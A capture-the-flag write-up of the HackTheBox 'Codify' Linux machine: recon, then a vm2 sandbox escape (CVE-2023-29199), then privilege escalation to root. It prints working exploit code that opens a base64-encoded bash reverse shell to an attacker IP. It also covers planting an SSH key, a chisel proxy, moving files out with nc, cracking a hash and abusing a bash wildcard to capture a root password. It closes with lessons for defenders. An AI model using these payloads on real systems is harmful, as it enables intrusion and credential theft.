Codify

INTRODUCTION

Codify is an easy-rated Linux box that demonstrates just how badly things can go when producing small / indie web apps in the NodeJS environment. In the modern context of tech leaning heavily on open-source projects, Codify highlights an increasingly relevant issue: how do we deal with open-source dependencies when those packages go stale, unmaintained, or otherwise EOL? While this box was especially easy, it was an absolute delight to solve.

Follow your instincts and don’t waste too much time on rigorous recon: Codify does a great job of laying out clues to follow. A little clue-following and research leads right into a foothold. On this box, you’ll need to escalate to another user before reaching the user flag. The root flag was also a fun exercise in following instincts and not blowing too much time on enumeration. Have some fun with this one! I sure did 😁

index page

RECON

nmap scans

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'vuln' $RADDR
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
3000/tcp open  ppp

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

☝️ UDP scans take quite a bit longer, so I limit it to only common ports

PORT      STATE         SERVICE    VERSION
67/udp    open|filtered tcpwrapped
68/udp    open|filtered tcpwrapped
69/udp    open|filtered tftp
158/udp   open|filtered tcpwrapped
520/udp   open|filtered route
998/udp   open|filtered tcpwrapped
1434/udp  open|filtered ms-sql-m
4500/udp  open|filtered tcpwrapped
5000/udp  open|filtered tcpwrapped
32768/udp open|filtered omad
49152/udp open|filtered unknown
49188/udp open|filtered unknown

Note that any open|filtered ports are either open or (much more likely) filtered.

Webserver Strategy

Noting the redirect from the nmap scan, I added download.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=codify.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb $RADDR && curl -IL http://$RADDR

banner grabbing

Next I performed vhost and subdomain enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No results. Now I’ll check for subdomain vhosts of codify.htb

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

No new results from that either. I’ll move on to directory enumeration on http://codify.htb:

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
OUTPUT="fuzzing/directory"
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 80 --recursion --recursion-depth 2 -c -o $OUTPUT-ffuf-$DOMAIN -of json -e php,asp,js,html -timeout 4 -v

# I often favor this one, using Gobuster
# gobuster dir -w $WLIST -u http://$DOMAIN \
# --random-agent -t 10 --timeout 5s -f -e \
# --status-codes-blacklist 400,401,402,403,404,405 \
# --output "$OUTPUT-gobuster-$DOMAIN.txt" \
# --no-error

Directory enumeration against http://codify.htb/ gave the following:

directory enumeration

Exploring the Website

The real functionality of the website is on the /editor page:

editor page

There are a couple of clues written on the front page:

Codify is a simple web application that allows you to test your Node.js code easily. With Codify, you can write and run your code snippets in the browser without the need for any setup or installation.Codify uses sandboxing technology to run your code. This means that your code is executed in a safe and secure environment, without any access to the underlying system. Therefore this has some limitations.

If you follow the “limitations” link (shown above), it provides even more detail:

Restricted Modules: child_process, fs

Module Whitelist: url, crypto, util, events, assert, stream, path, os, zlib

Then if you go to the /about there is another hint:

The vm2 library is a widely used and trusted tool for sandboxing JavaScript. It adds an extra layer of security to prevent potentially harmful code from causing harm to your system. We take the security and reliability of our platform seriously, and we use vm2 to ensure a safe testing environment for your code.

The above blurb kindly even links to the vm2 repository. I immediately checked out the Issues log, searching for anything security related. There were two notable issues submitted. In one of them, a user is suggesting that they make some kind of security policy for the repo, due to the public nature of disclosing security-related via an Issues page…

That user, very helpfully, even points to two of the Issue submissions that make these vulnerabilities public: one of them is this issue, reporting a sandbox escape of vm2. The author of the issue wasn’t overly obvious about what the sandbox escape was, so I investigated the comments on the thread. One at the bottom piqued my interest:

open cve comment

This comment links to a repo describing CVE-2023-29199, and includes a link to a gist with PoC code for performing the sandbox escape. I eagerly tried out the PoC code on the /editor page. Of course, it had no visible effect (it probably would have been visible if I were watching the server’s console log). To try it out in a way that would be reflected onto the console log on /editor, I modified the code to read a file instead. Much to my amazement, it worked perfectly:

PoC exploit

FOOTHOLD

Sandbox escape into RCE

I’ll try turning this sandbox escape into a reverse shell. But first, I wanted to try out some characters important to the shell, like a pipe ‘|’ character. Initial tests were successful, so I’ll do a reverse shell next:

# Open the firewall
sudo ufw allow from $RADDR to any port 4444,8000 proto tcp
# Start a listener
socat -d TCP-LISTEN:4444 STDOUT

With the listener set up, I just need to find the right way to pop a reverse shell. I tried the simplest nc reverse shell, and also an unencoded bash one, both with no result. Then, I tried a very simple base64-encoded bash reverse shell as the payload (right where I used cat /etc/passwd in the previous image):

const {VM} = require("vm2");
const vm = new VM();
const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
    new Error().stack;
    stack();
}
try {
    stack();
} catch (a$tmpname) {
    a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45LzQ0NDQgMD4mMQ== | base64 -d | bash -i');
}
`
console.log(vm.run(code));

reverse shell

Perfect! We now have remote code execution 😁

USER FLAG

Planting an SSH key

ssh-keygen -t rsa -b 4096
# I used passphrase bluej4y
chmod 700 ./id_rsa

While the exploit isn’t inconvenient, I figured it would be good to plant an SSH key anyway. First, on my attacker box, generate a key and base-64 encode it:

# used passphrase "bluej4y":
ssh-keygen -t rsa -b 4096
chmod 700 ./id_rsa
# copy output to clipboard:
base64 -w 0 id_rsa.pub > id_rsa.pub64; cat id_rsa.pub64

Then, on the target box, make an SSH directory and plant the key:

mkdir -p ~/.ssh
cd ~/.ssh
echo "c3NoLXJz[...snip...]thbGkK" | base64 -d > authorized_keys

Now back on the attacker box, go ahead and connect using SSH:

SSH svc

Excellent. Now I can reconnect if something goes wrong, and I have a very comfortable shell to use (and no need to upgrade the shell).

Enumeration: svc

It looks like only svc, joshua, and root have home directories. svc can only write to their home directory and to the webserver files.

Checking for listening processes shows that there is a MySQL / MariaDB database running:

netstat

The MySQL database is only listening on localhost. To get around this limitation, I’ll open up a socks5 proxy from the target machine. For this, I’ll use chisel. To get chisel onto the target, I’ll stand up a python http server from my attacker machine to host my standard toolbox, which contains chisel:

# Open up a firewall port for the http server and for chisel server
sudo ufw allow from $RADDR to any port 8000,9999 proto tcp
cd ~/MyToolbox
# Run chisel and background it (or just use another terminal window/tab)
./chisel server --port 9999 --reverse --key MyS3cr3tK3y & 
# Start the webserver to serve the Toolbox to the target
python3 -m http.server 8000

☝️ Note: I already have proxychains installed on my attacker machine, and my /etc/proxychains.conf file ends with:

...
socks5  127.0.0.1 1080
#socks4 127.0.0.1 9050

Then, on the target box:

# Set up a hidden directory in tmp to download tools to
mkdir -p /tmp/.Tools
cd /tmp/.Tools
# Download each tool that might be useful, ex. chisel
wget http://10.10.14.3:8000/chisel && chmod 755 chisel
# Form the proxy connection and background it
./chisel client 10.10.14.3:9999 R:1080:socks & 

However, when attempting to connect to the database (over the socks5 proxy), I discovered that the database will require a valid credential. I tried the obvious credentials, such as root : root, svc : svc, svc : [blank], and anonymous:

proxychains mysql -h 127.0.0.1 -u [username] -p
# enter password at the prompt

Next, I went searching for credentials, perhaps in some kind of .env file for the webserver. I went looking around /var/www for such a file. While I didn’t find anything very interesting inside the Express server at /var/www/editor, there was another directory adjacent to that one, in /var/www/contact. Taking a look inside that directory revealed an SQLite database, tickets.db.

SQLite database

Using nc, I transferred the whole database to my attacker box:

# on attacker box:
sudo ufw allow from $RADDR to any port 4445 proto tcp
nc -lvnp 4445 > tickets.db
# on target box:
nc -nv 10.10.14.9 4445 < tickets.db

# Wait a few seconds for the file transfer, then
# on each box:
shasum tickets.db

☝️ I could have just as easily used SCP. Actually, I probably should have.

From my attacker box, I can freely take a look inside the database:

sqlite db

👏 Hey, nice! There’s a password hash. Unsurprisingly, name-that-hash identifies it as a bcrypt hash (hashcat mode 3200):

name that hash

Let’s put the hash into a file and try to crack it:

echo -n '$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

cracked hash

🎉 Fantastic! With any luck, this credential will still be valid. The only services I’m aware of that require a login are MySQL and SSH.

First, I’ll check MySQL again, this time using the newly-acquired credential:

mysql login attempt 2

Confirmed: joshua : spongebob1 is a valid credential for MySQL. Taking a quick look at the mysql database, I saw the user table:

user table in mysql

That’s interesting. I’ll have to take a deeper look at this later 🚩 For now, I’ll try that credential on SSH:

SSH joshua

🍍 Success! Now I’ve confirmed that joshua : spongebob1 is a valid credential for SSH. The SSH connection drops you into /home/joshua, adjacent to the user flag. Simply cat it out for the points:

cat user.txt

ROOT FLAG

Enumeration: joshua

On my very first step of local enumeration for the joshua user, I checked what they can sudo:

sudo as joshua

🚨 Privesc alert! That looks like an extremely likely privesc vector. Let’s take a look at the script:

#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

A pseudocode summary of that is:

- collect credentials for root user
- prepare a backup directory
- for databases 'mysql' and 'sys':
	- run mysqldump on that database then gzip it
- lock down the permissions on the backup directory

Carefully reading through the script, I noticed a few things:

  1. The script only calls binaries by their absolute path - path abuse is not an option.
  2. The script passes the root password in an insecure manner in two places (the calls to mysql and mysqldump). If this process runs periodically (like a cron job or something), then maybe I can eavesdrop on the password?
  3. I can control what data is in the database. I wonder if there’s a way to plant something in the database that can somehow do a zip-slip or something to escape the backup file?
  4. I might have permissions to write triggers in the database. Maybe I can set up a trigger to do a file read when mysqldump runs?
  5. Maybe I can inject a parameter using the part that reads input into USER_PASS?

❎ I looked into (4), setting up a trigger to do a file read - Unfortunately, it’s not possible to make a trigger that runs when mysqldump is invoked.

I’ll investigate the feasibility of (2) though, by checking for periodic processes:

echo -e "\nChecking cron"; crontab -l ; cat /etc/crontab ; ls -laR /etc/cron; \
echo -e "\n\nChecking anacron"; anacrontab -l; cat /etc/anacrontab; \
echo -e "\n\nChecking for systemd timers:"; find / -name '*.timer' 2>/dev/null | grep systemd

❎ It doesn’t look like there are any periodic processes that are relevant to this backup script.

❎ It doesn’t seem like gzip is susceptible to a zip slip (according to this github repo from Snyk)

What about (5)? I’ll recreate the script locally (on my attacker box) and see if I’m able to play with that variable.

Exploiting mysql-backup.sh

After a bit of time playing with the script, I noticed something that I hadn’t seen earlier: the IF statement to check the password is vulnerable to something devilishly simple. Consider this tiny bash script:

#!/usr/bin/env bash
echo -n "Input: "
read USER_INPUT
if [[ "foo" == $USER_INPUT ]]; then
    echo -e "\"foo\" == \"$USER_INPUT\""
else
    echo -e "\"foo\" != \"$USER_INPUT\""
fi

Let’s try running it with different inputs, to see what equals “foo”:

wildcard test 1

😏 Makes sense so far. But what about this:

wildcard test 2

😆 The wildcard character works within the equality test. Crazy, eh?

☝️ Note that if you reverse the if clause, this trick does not work:

if [[ $USER_INPUT == "foo" ]]; then

With that in mind, let’s grab that password! If my suscpicion is correct, I should be able to use pspy to eavesdrop on the process. I should be able to see the password being passed to this line of the script:

/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES`

Since I need to watch for the above line, I’ll need to either use a backgrounded process or use something like tmux with two panes open. Since tmux is available on the target, I’ll use that. In one pane, I’ll sudo the script, and enter * as the password:

tmux password bypass 1

Meanwhile, observing pspy in the other pane:

tmux password bypass 2

There it is! We have a verified credential for the MySQL database: root : kljh12k3jhaskjh12kjh3

🤞 Hoping for the best, I’ll try to change to root with su using this password:

root shell

Alright! There’s the root shell. From there, simply cat the flag for the remainder of the box’s points 💰

LESSONS LEARNED

two crossed swords

Attacker

  • Go for the quick win. If you think you’ve found a lead during enumeration - go check it out right away, especially if it’s going to be quick to check. This is the power of good note-taking: your lead might bring you closer to a quick win, or if not you can always refer back to your notes when that lead hits a dead-end.
  • It isn’t real. It’s a puzzle. On easy-rated boxes, it’s important to keep in mind that it usually is more like a puzzle than reality. On Codify, the web app was littered with clues about its vulnerabilities. All it took was a little bit of research to string together the clues into something actionable.
  • Plan your attack. I know it sounds simple, but it’s important. On this box, as I was going through the root privesc I had ideas for multiple strategies. Numbering these off and tackling them sequentially was a great idea, and something I’ll be doing more often from now on.
  • Wildcard variable substitution in shell scripts is really easy. Try it early and often. It seems like it works whenever you control a variable on the righthand side of a binary comparison operator in a sh script.
two crossed swords

Defender

  • Mind your supply chain. The “Editor” web app in this box relied on a package called vm2 for sandboxing edited code. While it is still reasonably popular, the package is way past EOL. Even though it is clearly marked as obsolete, it still somehow gets 8000+ weekly downloads from npm. As a developer, you don’t need to go too crazy making sure all of your dependencies are bleeding-edge, but it is very important to stay up-to-date with dependencies that you rely on for security.

  • Bash scripts don’t mix with secure code. I love bash scripting, but it has a time and a place. It’s really easy to write a bash script that works, but almost impossible to write one that’s secure. There are simply too many wacky “gotchas” in how it works. For a fun introduction in how many ways this can go wrong, check out this article.

  • Test your code. I’ll readily admit I’m no expert developer, but I know that automated testing is absolutely essential. Even if you think a piece of code is perfect, does it really hurt to throw a fuzzer at it?


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake